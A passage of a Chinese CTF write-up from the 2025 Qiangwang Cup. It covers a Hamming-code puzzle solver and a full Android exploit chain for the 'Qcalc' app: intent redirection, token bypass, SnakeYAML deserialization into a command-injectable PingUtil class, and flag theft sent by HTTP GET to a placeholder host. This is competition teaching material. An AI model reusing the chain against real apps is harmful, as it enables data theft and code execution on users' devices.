文章总结: Thisdocumentoutlineswriteupsforthe2025QiangwangCupCTFbyTeamPolaris,coveringPWN,Reverse,Web,andCryptocategories.KeyPWNsolutionsinvolveheapoverflows,FSOP,SROP,andarbitraryaddresswritestobypasssandboxes.ReversechallengesaddressobfuscatedVMsandMMXencodingusingIDA.WebexploitsincludeHTTPsmugglingforauthbypass,PHPdeserializationwithPhartricks,SpringSpELinjection,andJavaRCE.TheCryptosectionsolvesRSAfactorization.Thecontentprovidesdeeptechnicalanalysisandexploitscriptsforadvancedbinaryexploitationandwebvulnerabilities. 综合评分: 95 文章分类: CTF,二进制安全,WEB安全,漏洞分析
阅读一下代码发现是爆破sha256加一个纠错,爆破sha256就很简单了直接爆破前四位就可以了
1defsolve_pow(io):
2 line = recv_line_with(io,b"sha256(", timeout=8.0)
3 POW_RE = re.compile(
4rb"sha256\(XXXX\+([^)]+)\)\s*(?:\.hexdigest\(\))?\s*==\s*([0-9a-fA-F]{64})"
5)
6 m = POW_RE.search(line)
7ifnot m:
8 extra = io.recvuntil(b"XXXX:", timeout=3)
9 m = POW_RE.search(line + extra)
10 suffix = strip_quotes(m.group(1))
11 target = m.group(2).decode()
12print(suffix)
13print(target)
14 charset =(string.ascii_letters + string.digits).encode()
15 found =None
16for p in itertools.product(charset, repeat=4):
17 prefix =bytes(p)
18if hashlib.sha256(prefix + suffix).hexdigest()== target:
19 found = prefix
20break
21ifnot found:
22 log.failure(777)

纠错有点像抖音上的那个谁是凶手,问他们问题会有固定的人数说谎,在这里就是我们需要8个数是0或1,我们可以问17个问题,但是会有两个问题的回答是假的,在这里如何去区分这8个数是0是1,可以传入的字符规则如下
1if word in['S0','S1','S2','S3','S4','S5','S6','S7']:
2 idx =int(word[1])
3 tokens.append(secrets[idx])
4elif word in['True','true']:
5 tokens.append(True)
6elif word in['False','false']:
7 tokens.append(False)
8elif word =='and':
9 tokens.append('and')
10elif word =='or':
11 tokens.append('or')
12elif word =='not':
13 tokens.append('not')
14elif word =='==':
15 tokens.append('==')
16else:
17raise ValueError(f"Invalid token: {word}")
然后对于对于如何纠错这里很容易就想到标准纠错码理论,对于这道题的Hamming 码,问题n=17 要猜的数k=8 最短距离d=5(可纠错数=(d-2)/2),所以在这里首先我们肯定要先询问这8个是是否是1或者0,我们输入 (Si == 1)就可以得到答案但是有可能说谎,八个问题问完我们还剩下9个问题,这时候就运用到syndrome ,这里面s = p xor(Ha),在这里面 p是远端的回复,Ha是我们根据返回推断出来的回复 ,如果相同则没说谎,不同则说谎,所以在这里我们只需要构建一个9x8的校验矩阵即可,对于该矩阵的构建要求如下:
每一列非零、两两不同;
任意两列 XOR 彼此不同,且不等于任何单列;
最小距离 d ≥ 5(没有 ≤4 列异或为 0 的线性相关)。
构造矩阵如下,输入问题如下( ( ( ( ( ( ( ( S0 == S2 ) == 0 ) == S4 ) == 0 ) == S5 ) == 0 ) == S6 ) == 0 ),矩阵中1为选择为0的位置
1S0S1S2S3S4S5S6S7
210101110
311100011
400010101
511010111
601110011
700011111
810001101
911111000
1001011110
然后即可纠2错,exp如下:
1import string
2import hashlib
3import itertools
4import re
5import time
6from pwn import*
7
8 HOST ="39.106.17.232"
9 PORT =34843
10 context.log_level ="info"
11
12defvar(i):returnf"S{i}"
13
14defwrap(expr:str)->str:
15return"( "+ expr +" )"
16defeq(a:str, b:str)->str:
17returnf"{a} == {b}"
18defxor2(a:str, b:str)->str:
19return wrap(eq(wrap(eq(a, b)),"0"))
20
21defxor_list(idxs):
22 expr = var(idxs[0])
23for i in idxs[1:]:
24 expr = xor2(expr, var(i))
25return expr
26
27
28 CHECK_ROWS =[
29[0,2,4,5,6],
30[0,1,2,6,7],
31[3,5,7],
32[0,1,3,5,6,7],
33[1,2,3,6,7],
34[3,4,5,6,7],
35[0,4,5,7],
36[0,1,2,3,4],
37[1,3,4,5,6],
38]
39
40 SINGLE_QUERIES =[wrap(eq(var(i),"1"))for i inrange(8)]
41 PARITY_QUERIES =[xor_list(row)for row in CHECK_ROWS]
42 ALL_QUERIES = SINGLE_QUERIES + PARITY_QUERIES
43
44defrecv_until(io, markers, timeout=10.0):
45 buf, end =b"", time.time()+ timeout
46while time.time()< end:
47 chunk = io.recv(timeout=0.5)
48 buf += chunk
49ifany(m in buf for m in markers):
50return buf
51return buf
52
53defrecv_line_with(io, needle:bytes, timeout=5.0):
54 end = time.time()+ timeout
55 buf =b""
56while time.time()< end:
57 line = io.recvline(timeout=0.8)
58 buf += line
59if needle in line:
60return line
61
62
63defstrip_quotes(b:bytes)->bytes:
64 b = b.strip()
65if(b.startswith(b"'")and b.endswith(b"'"))or(b.startswith(b'"')and b.endswith(b'"')):
66return b[1:-1]
67return b
68
69defsolve_pow(io):
70 line = recv_line_with(io,b"sha256(", timeout=8.0)
71 POW_RE = re.compile(
72rb"sha256\(XXXX\+([^)]+)\)\s*(?:\.hexdigest\(\))?\s*==\s*([0-9a-fA-F]{64})"
73)
74 m = POW_RE.search(line)
75ifnot m:
76 extra = io.recvuntil(b"XXXX:", timeout=3)
77 m = POW_RE.search(line + extra)
78 suffix = strip_quotes(m.group(1))
79 target = m.group(2).decode()
80print(suffix)
81print(target)
82 charset =(string.ascii_letters + string.digits).encode()
83 found =None
84for p in itertools.product(charset, repeat=4):
85 prefix =bytes(p)
86if hashlib.sha256(prefix + suffix).hexdigest()== target:
87 found = prefix
88break
89ifnot found:
90 log.failure(777)
91
92 log.success(666)
93ifb"Give me XXXX"notin line:
94 recv_until(io,[b"XXXX"], timeout=3.0)
95 io.sendline(found)
96
97defsyndrome(a_bits, p_bits):
98 s =[]
99for j, row inenumerate(CHECK_ROWS):
100 pred =0
101for i in row:
102 pred ^= a_bits[i]
103 s.append(p_bits[j]^ pred)
104return s
105
106defcorrect_answers(bits17):
107 a, p = bits17[:8][:], bits17[8:][:]
108ifall(v ==0for v in syndrome(a, p)):
109return a
110 n =17
111for i inrange(n):
112 a1, p1 = a[:], p[:]
113(a1 if i <8else p1)[i if i <8else i-8]^=1
114ifall(v ==0for v in syndrome(a1, p1)):
115return a1
116
117for i inrange(n):
118for j inrange(i+1, n):
119 a2, p2 = a[:], p[:]
120(a2 if i <8else p2)[i if i <8else i-8]^=1
121(a2 if j <8else p2)[j if j <8else j-8]^=1
122ifall(v ==0for v in syndrome(a2, p2)):
123return a2
124
125
126defextract_bool_from_line(line:bytes)->int:
127 s = line.decode(errors='ignore')
128if"True"in s:
129return1
130if"False"in s:
131return0
132if re.search(r'(^|[^0-9A-Za-z_])1([^0-9A-Za-z_]|$)', s):return1
133if re.search(r'(^|[^0-9A-Za-z_])0([^0-9A-Za-z_]|$)', s):return0
134
135
136defask_and_get(io, expr:str, is_last=False)->int:
137 recv_until(io,[b"Ask your question:"], timeout=10.0)
138 q = expr.replace('(','( ').replace(')',' )')
139 q =' '.join(q.split())
140 io.sendline(q.encode())
141 line = recv_line_with(io,b"Prisoner", timeout=5.0)
142 val = extract_bool_from_line(line)
143print(q)
144print(val)
145return val
146
147defdo_round(io, rindex):
148 log.info(f"=== Round {rindex} ===")
149 answers =[]
150for i, q inenumerate(ALL_QUERIES):
151 answers.append(ask_and_get(io, q, is_last=(i ==len(ALL_QUERIES)-1)))
152 truth8 = correct_answers(answers)
153 out_line =" ".join(str(x)for x in truth8)
154 log.success(f" {out_line}")
155 io.sendline(out_line.encode())
156
157defmain():
158 io = remote(HOST, PORT)
159 solve_pow(io)
160for r inrange(1,26):
161 do_round(io, r)
162
163 rest = io.recvall(timeout=2.0)
164print(rest)
165
166if __name__ =="__main__":
167 main()

Qcalc
processDeeplinkExpression 能够处理 intent 协议,并且 onNewIntent 没有主动调用 setIntent,所以当 Activity 复用时,可以复用上一次的 intent,从而导致 intent 重定向。BridgeActivity 存在 token 检测,但是这个 token 是用户可控的,所以可以直接绕过。BridgeActivity 最后会设置 fallback intent 的 data 为 content://com.qinquang.calc/history.yml,并且设置了 FLAG_GRANT_READ_URI_PERMISSION | FLAG_GRANT_WRITE_URI_PERMISSION:
1publicclassBridgeActivityextendsActivity{
2privatestaticfinalStringBRIDGE_TOKEN="UWlhbmdDYWxjQ1RG";
3privatestaticfinalStringTAG="BridgeActivity";
4
5/* JADX DEBUG: Don't trust debug lines info. Repeating lines: [87=8] */
6@Override// android.app.Activity
7protectedvoidonCreate(Bundle savedInstanceState){
8Intent origIntent;
9super.onCreate(savedInstanceState);
10Log.d(TAG,"BridgeActivity started");
11try{
12try{
13 origIntent =(Intent)getIntent().getParcelableExtra("origIntent");
14}catch(Exception e){
15Log.e(TAG,"Error in BridgeActivity: "+ e.getMessage());
16}
17if(origIntent ==null){
18Log.e(TAG,"No original intent found");
19finish();
20return;
21}
22Log.d(TAG,"Original intent found: "+ origIntent);
23if(!checkIntentFlags(origIntent)){
24Log.e(TAG,"Intent missing required flags");
25finish();
26return;
27}
28ContentValues values =(ContentValues) origIntent.getParcelableExtra("bridge_values");
29if(values !=null&&processContentValues(values)){
30String token = origIntent.getStringExtra("bridge_token");
31if(!validateToken(token)){
32Log.e(TAG,"Invalid token");
33finish();
34return;
35}
36File historyFile =newFile(getFilesDir(),HistoryManager.HISTORY_FILE_NAME);
37Uri historyUri =Uri.parse("content://com.qinquang.calc/"+ historyFile.getName());
38 origIntent.setData(historyUri);
39 origIntent.addFlags(3);
40startActivity(origIntent);
41return;
42}
43Log.e(TAG,"Failed to process content values");
44finish();
45}finally{
46finish();
47}
48}
49}
50
而 com.qinquang.calc Authority 对应的 contentProvider 如下:
1publicclassHistoryProviderextendsContentProvider{
2publicstaticfinalStringAUTHORITY="com.qinquang.calc";
3
4@Override// android.content.ContentProvider
5publicbooleanonCreate(){
6returntrue;
7}
8
9@Override// android.content.ContentProvider
10publicParcelFileDescriptoropenFile(Uri uri,String mode)throwsIOException{
11String fileName = uri.getLastPathSegment();
12if(fileName ==null){
13thrownewFileNotFoundException("Invalid URI: "+ uri);
14}
15File privateDir =getContext().getFilesDir();
16File targetFile =newFile(privateDir, fileName);
17try{
18String canonicalPath = targetFile.getCanonicalPath();
19if(!canonicalPath.startsWith(privateDir.getCanonicalPath())){
20thrownewSecurityException("Path Traversal attempt detected!");
21}
22int accessMode =ParcelFileDescriptor.parseMode(mode);
23returnParcelFileDescriptor.open(targetFile, accessMode);
24}catch(IOException e){
25thrownewFileNotFoundException("Failed to resolve canonical path");
26}
27}
28}
进行了路径穿越检测,但是我们可以读写 history.yml 文件,而该文件在 HistoryManager 类的 loadHistory 函数中用于反序列化:
1publicList<String>loadHistory()throwsIOException{
2Yaml yaml =newYaml();
3try{// HISTORY_FILE_NAME = history.yml
4FileInputStream fis =this.context.openFileInput(HISTORY_FILE_NAME);
5try{
6InputStreamReader reader =newInputStreamReader(fis);
7try{
8Object result = yaml.load(reader);<======= 反序列化
9......
而该函数会在 HistoryActivity 中被调用:
1publicclassHistoryActivityextendsAppCompatActivity{
2@Override// androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
3protectedvoidonCreate(Bundle savedInstanceState){
4super.onCreate(savedInstanceState);
5setContentView(R.layout.activity_history);
6ListView lvHistory =(ListView)findViewById(R.id.lv_history);
7finalHistoryManager historyManager =newHistoryManager(this);
8finalList<String> history = historyManager.loadHistory();
9......
10});
11}
12}
并且存在如下类,该类的构造函数存在命令注入漏洞:
1packagecom.qinquang.calc;
2
3importandroid.util.Log;
4importjava.io.IOException;
5
6/* loaded from: classes3.dex */
7publicfinalclassPingUtil{
8privatestaticfinalStringTAG="PingUtil";
9
10publicPingUtil(String address)throwsInterruptedException,IOException{
11try{
12Log.d(TAG,"PingUtil constructor called with: "+ address);
13String pingCmd ="ping -c 1 "+ address;
14Process process =Runtime.getRuntime().exec(newString[]{"/system/bin/sh","-c", pingCmd});
15Log.d(TAG,"Command executed: "+ pingCmd);
16 process.waitFor();
17}catch(Exception e){
18Log.e(TAG,"Error executing ping command", e);
19}
20}
21}
所以最后的利用思路如下:
-
利用一次 intent重定向获取
history.yml文件的读写权限 -
序列化 PingUtil类到
history.yml文件中 -
在利用一次 intent重定向到
HistoryActivity反序列化history.yml从而执行任意命令
这里我选择执行 cat /path/flag-*.txt > /path/files/hostory.yml 命令,将 flag 输出到 hostory.yml 文件中,然后读取该文件获取 flag 并将 flag 发送到远程服务器,最后的 app 代码如下:
1publicclassMainActivityextendsAppCompatActivity{
2
3privatestaticfinalStringBRIDGE_TOKEN="UWlhbmdDYWxjQ1RG";
4privateStringgetToken()throwsNoSuchAlgorithmException{
5
6try{
7Base64.decode(BRIDGE_TOKEN,0);
8String packageName ="com.qinquang.calc";// getPackageName();
9MessageDigest digest =MessageDigest.getInstance("SHA-256");
10byte[] packageBytes = packageName.getBytes(StandardCharsets.UTF_8);
11byte[] hash = digest.digest(packageBytes);
12StringBuilder sb =newStringBuilder();
13for(int i =0; i <8; i++){
14 sb.append(String.format("%02x",Byte.valueOf(hash[i])));
15}
16String expectedToken = sb.toString();
17return expectedToken;
18}catch(Exception e){
19Log.e("XiaozaYa","Token validation error: "+ e.getMessage());
20return"";
21}
22}
23
24@Override
25protectedvoidonCreate(Bundle savedInstanceState){
26super.onCreate(savedInstanceState);
27
28setContentView(R.layout.main_layout);
29if(getIntent().getIntExtra("stage",0)==0){
30Log.d("XiaozaYa","stage_0");
31Intent intent =newIntent();
32//intent.setComponent(new ComponentName("com.qinquang.calc", "com.qinquang.calc.MainActivity"));
33 intent.setAction("android.intent.action.VIEW");
34 intent.addCategory("android.intent.category.DEFAULT");
35 intent.addCategory("android.intent.category.BROWSABLE");
36 intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK|Intent.FLAG_ACTIVITY_CLEAR_TOP|Intent.FLAG_ACTIVITY_SINGLE_TOP);
37
38String header ="qiangcalc://calculate?expression=";
39Intent origIntent =newIntent();
40 origIntent.setComponent(newComponentName("com.example.qwb_exp","com.example.qwb_exp.MainActivity"));
41 origIntent.putExtra("stage",1);
42 origIntent.setAction("android.intent.action.MAIN");
43try{
44 origIntent.putExtra("bridge_token",getToken());
45}catch(NoSuchAlgorithmException e){
46thrownewRuntimeException(e);
47}
48String expression = header +Uri.encode(origIntent.toUri(Intent.URI_INTENT_SCHEME));
49 intent.setData(Uri.parse(expression));
50startActivity(intent);
51
52try{
53Thread.sleep(1000);
54}catch(InterruptedException e){
55 e.printStackTrace();
56}
57 expression = header +"0.0/0.0";
58 intent.setData(Uri.parse(expression));
59startActivity(intent);
60finish();
61}elseif(getIntent().getIntExtra("stage",0)==1){
62Log.d("XiaozaYa","stage_1");
63Log.d("XiaozaYa",getIntent().getData().toString());
64Uri targetUri =getIntent().getData();
65String shell =null;
66String yamlDocument ="!!com.qinquang.calc.PingUtil\n [\"0.0.0.0;cat /data/data/com.qinquang.calc/flag-* > /data/data/com.qinquang.calc/files/history.yml\"]\n";;
67ContentResolver cr =getContentResolver();
68try(OutputStream os = cr.openOutputStream(targetUri)){
69if(os ==null){
70Log.e("XiaozaYa","openOutputStream returned null for "+ targetUri);
71return;
72}
73 os.write(yamlDocument.getBytes(StandardCharsets.UTF_8));
74 os.flush();
75Log.i("XiaozaYa","Wrote YAML to "+ targetUri +":\n"+ yamlDocument);
76}catch(Exception e){
77Log.e("XiaozaYa","Error writing YAML to content URI", e);
78}
79
80Intent intent =newIntent();
81//intent.setComponent(new ComponentName("com.qinquang.calc", "com.qinquang.calc.MainActivity"));
82 intent.setAction("android.intent.action.VIEW");
83 intent.addCategory("android.intent.category.DEFAULT");
84 intent.addCategory("android.intent.category.BROWSABLE");
85 intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK|Intent.FLAG_ACTIVITY_CLEAR_TOP|Intent.FLAG_ACTIVITY_SINGLE_TOP);
86
87String header ="qiangcalc://calculate?expression=";
88Intent origIntent =newIntent();
89 origIntent.setComponent(newComponentName("com.qinquang.calc","com.qinquang.calc.HistoryActivity"));
90 origIntent.putExtra("stage",1);
91 origIntent.setAction("android.intent.action.MAIN");
92try{
93 origIntent.putExtra("bridge_token",getToken());
94}catch(NoSuchAlgorithmException e){
95thrownewRuntimeException(e);
96}
97String expression = header +Uri.encode(origIntent.toUri(Intent.URI_INTENT_SCHEME));
98 intent.setData(Uri.parse(expression));
99startActivity(intent);
100
101try{
102Thread.sleep(1000);
103}catch(InterruptedException e){
104 e.printStackTrace();
105}
106
107 expression = header +"0.0/0.0";
108 intent.setData(Uri.parse(expression));
109startActivity(intent);
110
111try{
112Thread.sleep(2000);
113}catch(InterruptedException e){
114 e.printStackTrace();
115}
116
117try{
118InputStream i =getContentResolver().openInputStream(targetUri);
119byte[] bytes =newbyte[0];
120 bytes =newbyte[i.available()];
121 i.read(bytes);
122String flag =newString(bytes);
123Log.d("XiaozaYa", flag);
124newHttpGetAsyncTask().execute("http://xx.xx.xx.xx:xx/?flag="+newString(flag));
125}catch(Exception e){
126 e.printStackTrace();
127}
128
129//finish();
130}
131}
132}
HttpGetAsyncTask 代码如下:
1packagecom.example.qwb_exp;
2
3importandroid.os.AsyncTask;
4importjava.io.BufferedReader;
5importjava.io.IOException;
6importjava.io.InputStreamReader;
7importjava.net.HttpURLConnection;
8importjava.net.URL;
9
10publicclassHttpGetAsyncTaskextendsAsyncTask<String,Void,String>{
11privateHttpGetCallback callback;
12
13publicHttpGetAsyncTask(){
14this.callback = callback;
15}
16
17@Override
18protectedStringdoInBackground(String... params){
19String url = params[0];
20String response =null;
21try{
22URL obj =newURL(url);
23HttpURLConnection con =(HttpURLConnection) obj.openConnection();
24 con.setRequestMethod("GET");
25
26int responseCode = con.getResponseCode();
27if(responseCode ==HttpURLConnection.HTTP_OK){
28BufferedReader in =newBufferedReader(newInputStreamReader(con.getInputStream()));
29String inputLine;
30StringBuffer responseBuffer =newStringBuffer();
31
32while((inputLine = in.readLine())!=null){
33 responseBuffer.append(inputLine);
34}
35 in.close();
36 response = responseBuffer.toString();
37}else{
38 response ="HTTP error code: "+ responseCode;
39}
40}catch(IOException e){
41 response ="Exception occurred: "+ e.getMessage();
42}
43return response;
44}
45
46@Override
47protectedvoidonPostExecute(String result){
48 callback.onHttpGetComplete(result);
49}
50
51publicinterfaceHttpGetCallback{
52voidonHttpGetComplete(String result);
53}
54}
问卷调查
填写问卷,获得flag
flag{我已知晓,并会认真撰写wp!}
文末:
欢迎师傅们加入我们:
星盟安全团队纳新群1:222328705
星盟安全团队纳新群2:346014666
有兴趣的师傅欢迎一起来讨论!
PS:团队纳新简历投递邮箱:
[email protected]
责任编辑:@Neko205
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:星盟安全 @星盟安全团队《2025强网杯S9WP》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论